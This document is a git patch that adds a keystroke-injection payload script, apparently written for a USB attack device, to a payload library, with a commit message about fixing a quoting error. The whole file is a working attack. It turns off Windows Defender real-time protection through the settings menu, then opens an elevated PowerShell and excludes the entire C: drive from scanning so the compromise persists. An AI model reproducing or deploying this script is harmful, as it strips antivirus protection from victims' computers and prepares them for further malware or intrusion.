From eb8ed9262c0ae60b6f5a181d2d56cefd5112c5f8 Mon Sep 17 00:00:00 2001 From: vexedmouse09 <63979416+vexedmouse09@users.noreply.github.com> Date: Thu, 20 Apr 2023 14:18:58 -0400 Subject: [PATCH] Fix for your script This is a very slight modification to the original script, as the original script had errors on line 54 which prevented proper compiling and made the script unusable. --- .../Defeat_Defender Compiling Error Fix | 64 +++++++++++++++++++ 1 file changed, 64 insertions(+) create mode 100644 payloads/library/general/Defeat_Defender/Defeat_Defender Compiling Error Fix diff --git a/payloads/library/general/Defeat_Defender/Defeat_Defender Compiling Error Fix b/payloads/library/general/Defeat_Defender/Defeat_Defender Compiling Error Fix new file mode 100644 index 0000000..7065e2d --- /dev/null +++ b/payloads/library/general/Defeat_Defender/Defeat_Defender Compiling Error Fix @@ -0,0 +1,64 @@ +REM Fixes: I encountered a compiling error when trying to use this script. the only things I changed was the quoatation marks around the "C:" drive. +REM Title: Disable Windows Defender Fixed +REM Author: Zero_Sploit (v1.0), Modified very slightly by Vexedmouse09 +REM Updated: B33m0 (v1.1) +REM Updated: UberGuidoZ (v1.2) +REM Description: Opens security settings, disabled Defender, then adds an exception of drive C for persistence +REM Target: Windows 10/11 (Powershell) +REM Version: 1.2 + +REM Pause for everything to recognize and be ready +DELAY 2000 + +REM Open Windows Defender Settings +CTRL ESC +DELAY 750 +STRING windows security +DELAY 250 +ENTER +DELAY 1000 +ENTER + +REM Navigate to Manage Settings +DELAY 500 +TAB +DELAY 100 +TAB +DELAY 100 +TAB +DELAY 100 +TAB +DELAY 100 +ENTER +DELAY 500 + +REM Open and turn off Realtime Protection +SPACE +DELAY 1000 +ALT y +DELAY 1000 + +REM Exit security settings +ALT F4 +DELAY 500 + +REM Open PowerShell +GUI r +DELAY 500 +STRING powershell +CTRL-SHIFT ENTER +DELAY 1000 +ALT y +DELAY 1000 + +REM Exclude drive C from Defender, This is what I fixed! +STRING Add-MpPreference -ExclusionPath "C:" +ENTER +DELAY 2000 + +REM Exit Powershell +STRING EXIT +ENTER + + +